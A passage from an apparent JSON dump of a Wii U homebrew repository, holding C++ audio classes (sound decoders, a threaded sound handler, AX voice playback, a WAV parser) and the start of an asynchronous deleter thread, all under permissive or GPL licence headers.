!ResampleBuffer)\n\t\tEnableUpsample();\n\n\twhile(done < SoundBlockSize)\n\t{\n\t\ts32 ret = Read(&write_buf[done], SoundBlockSize-done, Tell());\n\n\t\tif(ret <= 0)\n\t\t{\n\t\t\tif(Loop)\n\t\t\t{\n\t\t\t\tRewind();\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tEndOfFile = true;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tdone += ret;\n\t}\n\n\tif(done > 0)\n\t{\n\t\t// check if we need to resample\n\t\tif(ResampleBuffer && ResampleRatio)\n\t\t{\n\t\t\tmemcpy(ResampleBuffer, write_buf, done);\n\n\t\t\ts32 src_samples = done >> 1;\n\t\t\ts32 dest_samples = ( src_samples * FixedPointScale ) / ResampleRatio;\n\t\t\tdest_samples &= ~0x01;\n\t\t\tUpsample((s16*)ResampleBuffer, (s16*)write_buf, src_samples, dest_samples);\n\t\t\tdone = dest_samples << 1;\n\t\t}\n\n\t\t//! TODO: remove this later and add STEREO support with two voices, for now we convert to MONO\n\t\tif(IsStereo())\n\t\t{\n            s16* monoBuf = (s16*)write_buf;\n\t\t\tdone = done >> 1;\n\n            for(s32 i = 0; i < done; i++)\n                monoBuf[i] = monoBuf[i << 1];\n\t\t}\n\n        DCFlushRange(write_buf, done);\n\t\tSoundBuffer.SetBufferSize(whichLoad, done);\n\t\tSoundBuffer.SetBufferReady(whichLoad, true);\n\t\tif(++whichLoad >= SoundBuffer.Size())\n\t\t\twhichLoad = 0;\n\t}\n\n\t// check if next in queue needs to be filled as well and do so\n\tif(!SoundBuffer.IsBufferReady(whichLoad))\n\t\tDecode();\n\n\tDecoding = false;\n}\n\n"
  },
  {
    "path": "src/sounds/SoundDecoder.hpp",
    "content": "/***************************************************************************\n * Copyright (C) 2010\n * by Dimok\n *\n * This software is provided 'as-is', without any express or implied\n * warranty. In no event will the authors be held liable for any\n * damages arising from the use of this software.\n *\n * Permission is granted to anyone to use this software for any\n * purpose, including commercial applications, and to alter it and\n * redistribute it freely, subject to the following restrictions:\n *\n * 1. The origin of this software must not be misrepresented; you\n * must not claim that you wrote the original software. If you use\n * this software in a product, an acknowledgment in the product\n * documentation would be appreciated but is not required.\n *\n * 2. Altered source versions must be plainly marked as such, and\n * must not be misrepresented as being the original software.\n *\n * 3. This notice may not be removed or altered from any source\n * distribution.\n *\n * for WiiXplorer 2010\n ***************************************************************************/\n#ifndef SOUND_DECODER_HPP\n#define SOUND_DECODER_HPP\n\n#include \"fs/CFile.hpp\"\n#include \"system/CMutex.h\"\n#include \"BufferCircle.hpp\"\n\nclass SoundDecoder\n{\npublic:\n\tSoundDecoder();\n\tSoundDecoder(const std::string & filepath);\n\tSoundDecoder(const u8 * buffer, s32 size);\n\tvirtual ~SoundDecoder();\n\tvirtual void Lock() { mutex.lock(); }\n\tvirtual void Unlock() { mutex.unlock(); }\n\tvirtual s32 Read(u8 * buffer, s32 buffer_size, s32 pos);\n\tvirtual s32 Tell() { return CurPos; }\n\tvirtual s32 Seek(s32 pos) { CurPos = pos; return file_fd->seek(CurPos, SEEK_SET); }\n\tvirtual s32 Rewind();\n\tvirtual u16 GetFormat() { return Format; }\n\tvirtual u16 GetSampleRate() { return SampleRate; }\n\tvirtual void Decode();\n\tvirtual bool IsBufferReady() { return SoundBuffer.IsBufferReady(); }\n\tvirtual u8 * GetBuffer() { return SoundBuffer.GetBuffer(); }\n\tvirtual u32 GetBufferSize() { return SoundBuffer.GetBufferSize(); }\n\tvirtual void LoadNext() { SoundBuffer.LoadNext(); }\n\tvirtual bool IsEOF() { return EndOfFile; }\n\tvirtual void SetLoop(bool l) { Loop = l; EndOfFile = false; }\n\tvirtual u8 GetSoundType() { return SoundType; }\n\tvirtual void ClearBuffer() { SoundBuffer.ClearBuffer(); whichLoad = 0; }\n\tvirtual bool IsStereo() { return (GetFormat() & CHANNELS_STEREO) != 0; }\n\tvirtual bool Is16Bit() { return ((GetFormat() & 0xFF) == FORMAT_PCM_16_BIT); }\n\tvirtual bool IsDecoding() { return Decoding; }\n\n\tvoid EnableUpsample(void);\n\n\tenum SoundFormats\n\t{\n\t    FORMAT_PCM_16_BIT   = 0x0A,\n\t    FORMAT_PCM_8_BIT    = 0x19,\n\t};\n\tenum SoundChannels\n\t{\n\t    CHANNELS_MONO       = 0x100,\n\t    CHANNELS_STEREO     = 0x200\n\t};\n\n    enum SoundType\n    {\n        SOUND_RAW = 0,\n        SOUND_MP3,\n        SOUND_OGG,\n        SOUND_WAV\n    };\nprotected:\n\tvoid Init();\n\tvoid Upsample(s16 *src, s16 *dst, u32 nr_src_samples, u32 nr_dst_samples);\n\n\tCFile * file_fd;\n\tBufferCircle SoundBuffer;\n\tu8 SoundType;\n\tu16 whichLoad;\n\tu16 SoundBlocks;\n\ts32 SoundBlockSize;\n\ts32 CurPos;\n\tbool ResampleTo48kHz;\n\tbool Loop;\n\tbool EndOfFile;\n\tbool Decoding;\n\tbool ExitRequested;\n\tu16 Format;\n\tu16 SampleRate;\n\tu8 *ResampleBuffer;\n\tu32 ResampleRatio;\n\tCMutex mutex;\n};\n\n\n#endif\n"
  },
  {
    "path": "src/sounds/SoundHandler.cpp",
    "content": "/***************************************************************************\n * Copyright (C) 2010\n * by Dimok\n *\n * This software is provided 'as-is', without any express or implied\n * warranty. In no event will the authors be held liable for any\n * damages arising from the use of this software.\n *\n * Permission is granted to anyone to use this software for any\n * purpose, including commercial applications, and to alter it and\n * redistribute it freely, subject to the following restrictions:\n *\n * 1. The origin of this software must not be misrepresented; you\n * must not claim that you wrote the original software. If you use\n * this software in a product, an acknowledgment in the product\n * documentation would be appreciated but is not required.\n *\n * 2. Altered source versions must be plainly marked as such, and\n * must not be misrepresented as being the original software.\n *\n * 3. This notice may not be removed or altered from any source\n * distribution.\n *\n * for WiiXplorer 2010\n ***************************************************************************/\n#include <unistd.h>\n#include <malloc.h>\n#include \"common/common.h\"\n#include \"dynamic_libs/ax_functions.h\"\n#include \"fs/CFile.hpp\"\n#include \"SoundHandler.hpp\"\n#include \"WavDecoder.hpp\"\n#include \"Mp3Decoder.hpp\"\n#include \"OggDecoder.hpp\"\n\nSoundHandler * SoundHandler::handlerInstance = NULL;\n\nSoundHandler::SoundHandler()\n    : CThread(CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff, 0, 0x8000)\n{\n\tDecoding = false;\n\tExitRequested = false;\n\tfor(u32 i = 0; i < MAX_DECODERS; ++i)\n    {\n\t\tDecoderList[i] = NULL;\n        voiceList[i] = NULL;\n    }\n\n    resumeThread();\n\n    //! wait for initialization\n    while(!isThreadSuspended())\n        os_usleep(1000);\n}\n\nSoundHandler::~SoundHandler()\n{\n\tExitRequested = true;\n\tThreadSignal();\n\n\tClearDecoderList();\n}\n\nvoid SoundHandler::AddDecoder(s32 voice, const char * filepath)\n{\n\tif(voice < 0 || voice >= MAX_DECODERS)\n\t\treturn;\n\n\tif(DecoderList[voice] != NULL)\n\t\tRemoveDecoder(voice);\n\n\tDecoderList[voice] = GetSoundDecoder(filepath);\n}\n\nvoid SoundHandler::AddDecoder(s32 voice, const u8 * snd, s32 len)\n{\n\tif(voice < 0 || voice >= MAX_DECODERS)\n\t\treturn;\n\n\tif(DecoderList[voice] != NULL)\n\t\tRemoveDecoder(voice);\n\n\tDecoderList[voice] = GetSoundDecoder(snd, len);\n}\n\nvoid SoundHandler::RemoveDecoder(s32 voice)\n{\n\tif(voice < 0 || voice >= MAX_DECODERS)\n\t\treturn;\n\n\tif(DecoderList[voice] != NULL)\n    {\n        if(voiceList[voice] && voiceList[voice]->getState() != Voice::STATE_STOPPED)\n        {\n            if(voiceList[voice]->getState() != Voice::STATE_STOP)\n                voiceList[voice]->setState(Voice::STATE_STOP);\n\n            while(voiceList[voice]->getState() != Voice::STATE_STOPPED)\n                os_usleep(1000);\n        }\n        SoundDecoder *decoder = DecoderList[voice];\n        decoder->Lock();\n        DecoderList[voice] = NULL;\n        decoder->Unlock();\n\t\tdelete decoder;\n    }\n}\n\nvoid SoundHandler::ClearDecoderList()\n{\n\tfor(u32 i = 0; i < MAX_DECODERS; ++i)\n\t\tRemoveDecoder(i);\n}\n\nstatic inline bool CheckMP3Signature(const u8 * buffer)\n{\n\tconst char MP3_Magic[][3] =\n\t{\n\t\t{'I', 'D', '3'},\t//'ID3'\n\t\t{0xff, 0xfe},\t   //'MPEG ADTS, layer III, v1.0 [protected]', 'mp3', 'audio/mpeg'),\n\t\t{0xff, 0xff},\t   //'MPEG ADTS, layer III, v1.0', 'mp3', 'audio/mpeg'),\n\t\t{0xff, 0xfa},\t   //'MPEG ADTS, layer III, v1.0 [protected]', 'mp3', 'audio/mpeg'),\n\t\t{0xff, 0xfb},\t   //'MPEG ADTS, layer III, v1.0', 'mp3', 'audio/mpeg'),\n\t\t{0xff, 0xf2},\t   //'MPEG ADTS, layer III, v2.0 [protected]', 'mp3', 'audio/mpeg'),\n\t\t{0xff, 0xf3},\t   //'MPEG ADTS, layer III, v2.0', 'mp3', 'audio/mpeg'),\n\t\t{0xff, 0xf4},\t   //'MPEG ADTS, layer III, v2.0 [protected]', 'mp3', 'audio/mpeg'),\n\t\t{0xff, 0xf5},\t   //'MPEG ADTS, layer III, v2.0', 'mp3', 'audio/mpeg'),\n\t\t{0xff, 0xf6},\t   //'MPEG ADTS, layer III, v2.0 [protected]', 'mp3', 'audio/mpeg'),\n\t\t{0xff, 0xf7},\t   //'MPEG ADTS, layer III, v2.0', 'mp3', 'audio/mpeg'),\n\t\t{0xff, 0xe2},\t   //'MPEG ADTS, layer III, v2.5 [protected]', 'mp3', 'audio/mpeg'),\n\t\t{0xff, 0xe3},\t   //'MPEG ADTS, layer III, v2.5', 'mp3', 'audio/mpeg'),\n\t};\n\n\tif(buffer[0] == MP3_Magic[0][0] && buffer[1] == MP3_Magic[0][1] &&\n\t   buffer[2] == MP3_Magic[0][2])\n\t{\n\t\treturn true;\n\t}\n\n\tfor(s32 i = 1; i < 13; i++)\n\t{\n\t\tif(buffer[0] == MP3_Magic[i][0] && buffer[1] == MP3_Magic[i][1])\n\t\t\treturn true;\n\t}\n\n\treturn false;\n}\n\nSoundDecoder * SoundHandler::GetSoundDecoder(const char * filepath)\n{\n\tu32 magic;\n\tCFile f(filepath, CFile::ReadOnly);\n\tif(f.size() == 0)\n\t\treturn NULL;\n\n\tdo\n\t{\n\t\tf.read((u8 *) &magic, 1);\n\t}\n\twhile(((u8 *) &magic)[0] == 0 && f.tell() < f.size());\n\n\tif(f.tell() == f.size())\n\t\treturn NULL;\n\n\tf.seek(f.tell()-1, SEEK_SET);\n\tf.read((u8 *) &magic, 4);\n\tf.close();\n\n\tif(magic == 0x4f676753) // 'OggS'\n\t{\n\t    return new OggDecoder(filepath);\n\t}\n\telse if(magic == 0x52494646) // 'RIFF'\n\t{\n\t\treturn new WavDecoder(filepath);\n\t}\n\telse if(CheckMP3Signature((u8 *) &magic) == true)\n\t{\n\t\treturn new Mp3Decoder(filepath);\n\t}\n\n\treturn new SoundDecoder(filepath);\n}\n\nSoundDecoder * SoundHandler::GetSoundDecoder(const u8 * sound, s32 length)\n{\n\tconst u8 * check = sound;\n\ts32 counter = 0;\n\n\twhile(check[0] == 0 && counter < length)\n\t{\n\t\tcheck++;\n\t\tcounter++;\n\t}\n\n\tif(counter >= length)\n\t\treturn NULL;\n\n\tu32 * magic = (u32 *) check;\n\n\tif(magic[0] == 0x4f676753) // 'OggS'\n\t{\n\t    return new OggDecoder(sound, length);\n\t}\n\telse if(magic[0] == 0x52494646) // 'RIFF'\n\t{\n\t\treturn new WavDecoder(sound, length);\n\t}\n\telse if(CheckMP3Signature(check) == true)\n\t{\n\t\treturn new Mp3Decoder(sound, length);\n\t}\n\n\treturn new SoundDecoder(sound, length);\n}\n\nvoid SoundHandler::executeThread()\n{\n    // v2 sound lib can not properly end transition audio on old firmwares\n    if (OS_FIRMWARE >= 400 && OS_FIRMWARE <= 410)\n    {\n        ProperlyEndTransitionAudio();\n    }\n\n    //! initialize 48 kHz renderer\n    u32 params[3] = { 1, 0, 0 };\n\n    if(AXInitWithParams != 0)\n        AXInitWithParams(params);\n    else\n        AXInit();\n\n    // The problem with last voice on 500 was caused by it having priority 0\n    // We would need to change this priority distribution if for some reason\n    // we would need MAX_DECODERS > Voice::PRIO_MAX\n    for(u32 i = 0; i < MAX_DECODERS; ++i)\n    {\n        s32 priority = (MAX_DECODERS - i) * Voice::PRIO_MAX  / MAX_DECODERS;\n        voiceList[i] = new Voice(priority); // allocate voice 0 with highest priority\n    }\n\n    AXRegisterFrameCallback((void*)&axFrameCallback);\n\n\n\tu16 i = 0;\n\twhile (!ExitRequested)\n\t{\n\t\tsuspendThread();\n\n\t\tfor(i = 0; i < MAX_DECODERS; ++i)\n\t\t{\n\t\t\tif(DecoderList[i] == NULL)\n\t\t\t\tcontinue;\n\n\t\t\tDecoding = true;\n\t\t\tif(DecoderList[i])\n                DecoderList[i]->Lock();\n\t\t\tif(DecoderList[i])\n                DecoderList[i]->Decode();\n\t\t\tif(DecoderList[i])\n                DecoderList[i]->Unlock();\n\t\t}\n\t\tDecoding = false;\n\t}\n\n\tfor(u32 i = 0; i < MAX_DECODERS; ++i)\n        voiceList[i]->stop();\n\n    AXRegisterFrameCallback(NULL);\n    AXQuit();\n\n    for(u32 i = 0; i < MAX_DECODERS; ++i)\n    {\n        delete voiceList[i];\n        voiceList[i] = NULL;\n    }\n}\n\nvoid SoundHandler::axFrameCallback(void)\n{\n    for (u32 i = 0; i < MAX_DECODERS; i++)\n    {\n        Voice *voice = handlerInstance->getVoice(i);\n\n        switch (voice->getState())\n        {\n            default:\n            case Voice::STATE_STOPPED:\n                break;\n\n            case Voice::STATE_START: {\n                SoundDecoder * decoder = handlerInstance->getDecoder(i);\n                decoder->Lock();\n                if(decoder->IsBufferReady())\n                {\n                    const u8 *buffer = decoder->GetBuffer();\n                    const u32 bufferSize = decoder->GetBufferSize();\n                    decoder->LoadNext();\n\n                    const u8 *nextBuffer = NULL;\n                    u32 nextBufferSize = 0;\n\n                    if(decoder->IsBufferReady())\n                    {\n                        nextBuffer = decoder->GetBuffer();\n                        nextBufferSize = decoder->GetBufferSize();\n                        decoder->LoadNext();\n                    }\n\n                    voice->play(buffer, bufferSize, nextBuffer, nextBufferSize, decoder->GetFormat() & 0xff, decoder->GetSampleRate());\n\n                    handlerInstance->ThreadSignal();\n\n                    voice->setState(Voice::STATE_PLAYING);\n                }\n                decoder->Unlock();\n                break;\n            }\n            case Voice::STATE_PLAYING:\n                if(voice->getInternState() == 1)\n                {\n                    if(voice->isBufferSwitched())\n                    {\n                        SoundDecoder * decoder = handlerInstance->getDecoder(i);\n                        decoder->Lock();\n                        if(decoder->IsBufferReady())\n                        {\n                            voice->setNextBuffer(decoder->GetBuffer(), decoder->GetBufferSize());\n                            decoder->LoadNext();\n                            handlerInstance->ThreadSignal();\n                        }\n                        else if(decoder->IsEOF())\n                        {\n                            voice->setState(Voice::STATE_STOP);\n                        }\n                        decoder->Unlock();\n                    }\n                }\n                else\n                {\n                    voice->setState(Voice::STATE_STOPPED);\n                }\n                break;\n            case Voice::STATE_STOP:\n                if(voice->getInternState() != 0)\n                    voice->stop();\n                voice->setState(Voice::STATE_STOPPED);\n                break;\n        }\n    }\n}\n"
  },
  {
    "path": "src/sounds/SoundHandler.hpp",
    "content": "/***************************************************************************\n * Copyright (C) 2010\n * by Dimok\n *\n * This software is provided 'as-is', without any express or implied\n * warranty. In no event will the authors be held liable for any\n * damages arising from the use of this software.\n *\n * Permission is granted to anyone to use this software for any\n * purpose, including commercial applications, and to alter it and\n * redistribute it freely, subject to the following restrictions:\n *\n * 1. The origin of this software must not be misrepresented; you\n * must not claim that you wrote the original software. If you use\n * this software in a product, an acknowledgment in the product\n * documentation would be appreciated but is not required.\n *\n * 2. Altered source versions must be plainly marked as such, and\n * must not be misrepresented as being the original software.\n *\n * 3. This notice may not be removed or altered from any source\n * distribution.\n *\n * for WiiXplorer 2010\n ***************************************************************************/\n#ifndef SOUNDHANDLER_H_\n#define SOUNDHANDLER_H_\n\n#include <vector>\n#include <gctypes.h>\n#include \"system/CThread.h\"\n#include \"SoundDecoder.hpp\"\n#include \"Voice.h\"\n\n#define MAX_DECODERS\t16  // can be increased up to 96\n\nclass SoundHandler : public CThread\n{\npublic:\n\tstatic SoundHandler * instance() {\n\t    if (!handlerInstance)\n            handlerInstance = new SoundHandler();\n        return handlerInstance;\n    }\n\n\tstatic void DestroyInstance() { delete handlerInstance; handlerInstance = NULL; }\n\n\tvoid AddDecoder(s32 voice, const char * filepath);\n\tvoid AddDecoder(s32 voice, const u8 * snd, s32 len);\n\tvoid RemoveDecoder(s32 voice);\n\n\tSoundDecoder * getDecoder(s32 i) { return ((i < 0 || i >= MAX_DECODERS) ? NULL : DecoderList[i]); };\n\tVoice * getVoice(s32 i) { return ((i < 0 || i >= MAX_DECODERS) ? NULL : voiceList[i]); };\n\n\tvoid ThreadSignal() { resumeThread(); };\n\tbool IsDecoding() { return Decoding; };\nprotected:\n\tSoundHandler();\n\t~SoundHandler();\n\n    static void axFrameCallback(void);\n\n    void executeThread(void);\n\tvoid ClearDecoderList();\n\n\tSoundDecoder * GetSoundDecoder(const char * filepath);\n\tSoundDecoder * GetSoundDecoder(const u8 * sound, s32 length);\n\n\tstatic SoundHandler * handlerInstance;\n\n\tbool Decoding;\n\tbool ExitRequested;\n\n\tVoice * voiceList[MAX_DECODERS];\n\tSoundDecoder * DecoderList[MAX_DECODERS];\n};\n\n#endif\n"
  },
  {
    "path": "src/sounds/Voice.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef _AXSOUND_H_\n#define _AXSOUND_H_\n\n#include \"dynamic_libs/os_functions.h\"\n#include \"dynamic_libs/ax_functions.h\"\n\nclass Voice\n{\npublic:\n\n    enum VoicePriorities\n    {\n        PRIO_MIN = 1,\n        PRIO_MAX = 31\n    };\n\n    enum VoiceStates\n    {\n        STATE_STOPPED,\n        STATE_START,\n        STATE_PLAYING,\n        STATE_STOP,\n    };\n\n    Voice(s32 prio)\n        : state(STATE_STOPPED)\n    {\n        lastLoopCounter = 0;\n        nextBufferSize = 0;\n\n        voice = AXAcquireVoice(prio, 0, 0);\n        if(voice)\n        {\n            AXVoiceBegin(voice);\n            AXSetVoiceType(voice, 0);\n            setVolume(0x80000000);\n\n            u32 mix[24];\n            memset(mix, 0, sizeof(mix));\n            mix[0] = 0x80000000;\n            mix[4] = 0x80000000;\n\n            AXSetVoiceDeviceMix(voice, 0, 0, mix);\n            AXSetVoiceDeviceMix(voice, 1, 0, mix);\n\n            AXVoiceEnd(voice);\n        }\n    }\n\n    ~Voice()\n    {\n        if(voice)\n        {\n            AXFreeVoice(voice);\n        }\n    }\n\n    void play(const u8 *buffer, u32 bufferSize, const u8 *nextBuffer, u32 nextBufSize, u16 format, u32 sampleRate)\n    {\n        if(!voice)\n            return;\n\n        memset(&voiceBuffer, 0, sizeof(voiceBuffer));\n\n        voiceBuffer.samples = buffer;\n        voiceBuffer.format = format;\n        voiceBuffer.loop = (nextBuffer == NULL) ? 0 : 1;\n        voiceBuffer.cur_pos = 0;\n        voiceBuffer.end_pos = bufferSize >> 1;\n        voiceBuffer.loop_offset = ((nextBuffer - buffer) >> 1);\n        nextBufferSize = nextBufSize;\n\n        u32 samplesPerSec = (AXGetInputSamplesPerSec != 0) ? AXGetInputSamplesPerSec() : 32000;\n\n        ratioBits[0] = (u32)(0x00010000 * ((f32)sampleRate / (f32)samplesPerSec));\n        ratioBits[1] = 0;\n        ratioBits[2] = 0;\n        ratioBits[3] = 0;\n\n        AXSetVoiceOffsets(voice, &voiceBuffer);\n        AXSetVoiceSrc(voice, ratioBits);\n        AXSetVoiceSrcType(voice, 1);\n        AXSetVoiceState(voice, 1);\n    }\n\n    void stop()\n    {\n        if(voice)\n            AXSetVoiceState(voice, 0);\n    }\n\n    void setVolume(u32 vol)\n    {\n        if(voice)\n            AXSetVoiceVe(voice, &vol);\n    }\n\n\n    void setNextBuffer(const u8 *buffer, u32 bufferSize)\n    {\n        voiceBuffer.loop_offset = ((buffer - voiceBuffer.samples) >> 1);\n        nextBufferSize = bufferSize;\n\n        AXSetVoiceLoopOffset(voice, voiceBuffer.loop_offset);\n    }\n\n    bool isBufferSwitched()\n    {\n        u32 loopCounter = AXGetVoiceLoopCount(voice);\n        if(lastLoopCounter != loopCounter)\n        {\n            lastLoopCounter = loopCounter;\n            AXSetVoiceEndOffset(voice, voiceBuffer.loop_offset  + (nextBufferSize >> 1));\n            return true;\n        }\n        return false;\n    }\n\n    u32 getInternState() const {\n        if(voice)\n            return ((u32 *)voice)[1];\n        return 0;\n    }\n    u32 getState() const {\n        return state;\n    }\n    void setState(u32 s) {\n        state = s;\n    }\n\n    void * getVoice() const {\n        return voice;\n    }\n\nprivate:\n    void *voice;\n    u32 ratioBits[4];\n\n    typedef struct _ax_buffer_t {\n        u16 format;\n        u16 loop;\n        u32 loop_offset;\n        u32 end_pos;\n        u32 cur_pos;\n        const unsigned char *samples;\n    } ax_buffer_t;\n\n    ax_buffer_t voiceBuffer;\n    u32 state;\n    u32 nextBufferSize;\n    u32 lastLoopCounter;\n};\n\n#endif // _AXSOUND_H_\n"
  },
  {
    "path": "src/sounds/WavDecoder.cpp",
    "content": "/***************************************************************************\n * Copyright (C) 2010\n * by Dimok\n *\n * This software is provided 'as-is', without any express or implied\n * warranty. In no event will the authors be held liable for any\n * damages arising from the use of this software.\n *\n * Permission is granted to anyone to use this software for any\n * purpose, including commercial applications, and to alter it and\n * redistribute it freely, subject to the following restrictions:\n *\n * 1. The origin of this software must not be misrepresented; you\n * must not claim that you wrote the original software. If you use\n * this software in a product, an acknowledgment in the product\n * documentation would be appreciated but is not required.\n *\n * 2. Altered source versions must be plainly marked as such, and\n * must not be misrepresented as being the original software.\n *\n * 3. This notice may not be removed or altered from any source\n * distribution.\n *\n * for WiiXplorer 2010\n ***************************************************************************/\n#include <string.h>\n#include \"WavDecoder.hpp\"\n#include \"utils/utils.h\"\n\nWavDecoder::WavDecoder(const char * filepath)\n\t: SoundDecoder(filepath)\n{\n\tSoundType = SOUND_WAV;\n\tSampleRate = 48000;\n\tFormat = CHANNELS_STEREO | FORMAT_PCM_16_BIT;\n\n\tif(!file_fd)\n\t\treturn;\n\n\tOpenFile();\n}\n\nWavDecoder::WavDecoder(const u8 * snd, s32 len)\n\t: SoundDecoder(snd, len)\n{\n\tSoundType = SOUND_WAV;\n\tSampleRate = 48000;\n\tFormat = CHANNELS_STEREO | FORMAT_PCM_16_BIT;\n\n\tif(!file_fd)\n\t\treturn;\n\n\tOpenFile();\n}\n\nWavDecoder::~WavDecoder()\n{\n}\n\n\nvoid WavDecoder::OpenFile()\n{\n\tSWaveHdr Header;\n\tSWaveFmtChunk FmtChunk;\n\tmemset(&Header, 0, sizeof(SWaveHdr));\n\tmemset(&FmtChunk, 0, sizeof(SWaveFmtChunk));\n\n\tfile_fd->read((u8 *) &Header, sizeof(SWaveHdr));\n\tfile_fd->read((u8 *) &FmtChunk, sizeof(SWaveFmtChunk));\n\n\tif (Header.magicRIFF != 0x52494646) // 'RIFF'\n\t{\n\t\tCloseFile();\n\t\treturn;\n\t}\n\telse if(Header.magicWAVE != 0x57415645) // 'WAVE'\n\t{\n\t\tCloseFile();\n\t\treturn;\n\t}\n\telse if(FmtChunk.magicFMT != 0x666d7420) // 'fmt '\n\t{\n\t\tCloseFile();\n\t\treturn;\n\t}\n\n\tDataOffset = sizeof(SWaveHdr)+le32(FmtChunk.size)+8;\n\tfile_fd->seek(DataOffset, SEEK_SET);\n\tSWaveChunk DataChunk;\n\tfile_fd->read((u8 *) &DataChunk, sizeof(SWaveChunk));\n\n\twhile(DataChunk.magicDATA != 0x64617461) // 'data'\n\t{\n\t\tDataOffset += 8+le32(DataChunk.size);\n\t\tfile_fd->seek(DataOffset, SEEK_SET);\n\t\ts32 ret = file_fd->read((u8 *) &DataChunk, sizeof(SWaveChunk));\n\t\tif(ret <= 0)\n\t\t{\n\t\t\tCloseFile();\n\t\t\treturn;\n\t\t}\n\t}\n\n\tDataOffset += 8;\n\tDataSize = le32(DataChunk.size);\n\tIs16Bit = (le16(FmtChunk.bps) == 16);\n\tSampleRate = le32(FmtChunk.freq);\n\n\tif (le16(FmtChunk.channels) == 1 && le16(FmtChunk.bps) == 8 && le16(FmtChunk.alignment) <= 1)\n\t\tFormat = CHANNELS_MONO | FORMAT_PCM_8_BIT;\n\telse if (le16(FmtChunk.channels) == 1 && le16(FmtChunk.bps) == 16 && le16(FmtChunk.alignment) <= 2)\n\t\tFormat = CHANNELS_MONO | FORMAT_PCM_16_BIT;\n\telse if (le16(FmtChunk.channels) == 2 && le16(FmtChunk.bps) == 8 && le16(FmtChunk.alignment) <= 2)\n\t\tFormat = CHANNELS_STEREO | FORMAT_PCM_8_BIT;\n\telse if (le16(FmtChunk.channels) == 2 && le16(FmtChunk.bps) == 16 && le16(FmtChunk.alignment) <= 4)\n\t\tFormat = CHANNELS_STEREO | FORMAT_PCM_16_BIT;\n}\n\nvoid WavDecoder::CloseFile()\n{\n\tif(file_fd)\n\t\tdelete file_fd;\n\n\tfile_fd = NULL;\n}\n\ns32 WavDecoder::Read(u8 * buffer, s32 buffer_size, s32 pos)\n{\n\tif(!file_fd)\n\t\treturn -1;\n\n\tif(CurPos >= (s32) DataSize)\n\t\treturn 0;\n\n\tfile_fd->seek(DataOffset+CurPos, SEEK_SET);\n\n\tif(buffer_size > (s32) DataSize-CurPos)\n\t\tbuffer_size = DataSize-CurPos;\n\n\ts32 read = file_fd->read(buffer, buffer_size);\n\tif(read > 0)\n\t{\n\t\tif (Is16Bit)\n\t\t{\n\t\t\tread &= ~0x0001;\n\n\t\t\tfor (u32 i = 0; i < (u32) (read / sizeof (u16)); ++i)\n\t\t\t\t((u16 *) buffer)[i] = le16(((u16 *) buffer)[i]);\n\t\t}\n\t\tCurPos += read;\n\t}\n\n\treturn read;\n}\n"
  },
  {
    "path": "src/sounds/WavDecoder.hpp",
    "content": "/***************************************************************************\n * Copyright (C) 2010\n * by Dimok\n *\n * This software is provided 'as-is', without any express or implied\n * warranty. In no event will the authors be held liable for any\n * damages arising from the use of this software.\n *\n * Permission is granted to anyone to use this software for any\n * purpose, including commercial applications, and to alter it and\n * redistribute it freely, subject to the following restrictions:\n *\n * 1. The origin of this software must not be misrepresented; you\n * must not claim that you wrote the original software. If you use\n * this software in a product, an acknowledgment in the product\n * documentation would be appreciated but is not required.\n *\n * 2. Altered source versions must be plainly marked as such, and\n * must not be misrepresented as being the original software.\n *\n * 3. This notice may not be removed or altered from any source\n * distribution.\n *\n * for WiiXplorer 2010\n ***************************************************************************/\n#ifndef WAVDECODER_HPP_\n#define WAVDECODER_HPP_\n\n#include \"SoundDecoder.hpp\"\n\ntypedef struct\n{\n\tu32 magicRIFF;\n\tu32 size;\n\tu32 magicWAVE;\n} SWaveHdr;\n\ntypedef struct\n{\n\tu32 magicFMT;\n\tu32 size;\n\tu16 format;\n\tu16 channels;\n\tu32 freq;\n\tu32 avgBps;\n\tu16 alignment;\n\tu16 bps;\n} SWaveFmtChunk;\n\ntypedef struct\n{\n\tu32 magicDATA;\n\tu32 size;\n} SWaveChunk;\n\nclass WavDecoder : public SoundDecoder\n{\n\tpublic:\n\t\tWavDecoder(const char * filepath);\n\t\tWavDecoder(const u8 * snd, s32 len);\n\t\tvirtual ~WavDecoder();\n\t\ts32 Read(u8 * buffer, s32 buffer_size, s32 pos);\n\tprotected:\n\t\tvoid OpenFile();\n\t\tvoid CloseFile();\n\t\tu32 DataOffset;\n\t\tu32 DataSize;\n\t\tbool Is16Bit;\n};\n\n#endif\n"
  },
  {
    "path": "src/system/AsyncDeleter.cpp",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#include \"AsyncDeleter.h\"\n\nAsyncDeleter * AsyncDeleter::deleterInstance = NULL;\n\nAsyncDeleter::AsyncDeleter()\n\t: CThread(CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff)\n\t, exitApplication(false)\n{\n}\n\nAsyncDeleter::~AsyncDeleter()\n{\n    exitApplication = true;\n}\n\nvoid AsyncDeleter::triggerDeleteProcess(void)\n{\n    if(!deleterInstance)\n        deleterInstance = new AsyncDeleter;\n\n    //! to trigger the event after GUI process is finished execution\n    //! this function is used to swap elements from one to next array\n    if(!deleterInstance->deleteElements.empty())\n    {\n        deleterInstance->deleteMutex.lock();\n        while(!deleterInstance->deleteElements.empty())\n        {\n            deleterInstance->realDeleteElements.push(deleterInstance->deleteElements.front());\n            deleterInstance->deleteElements.pop();\n  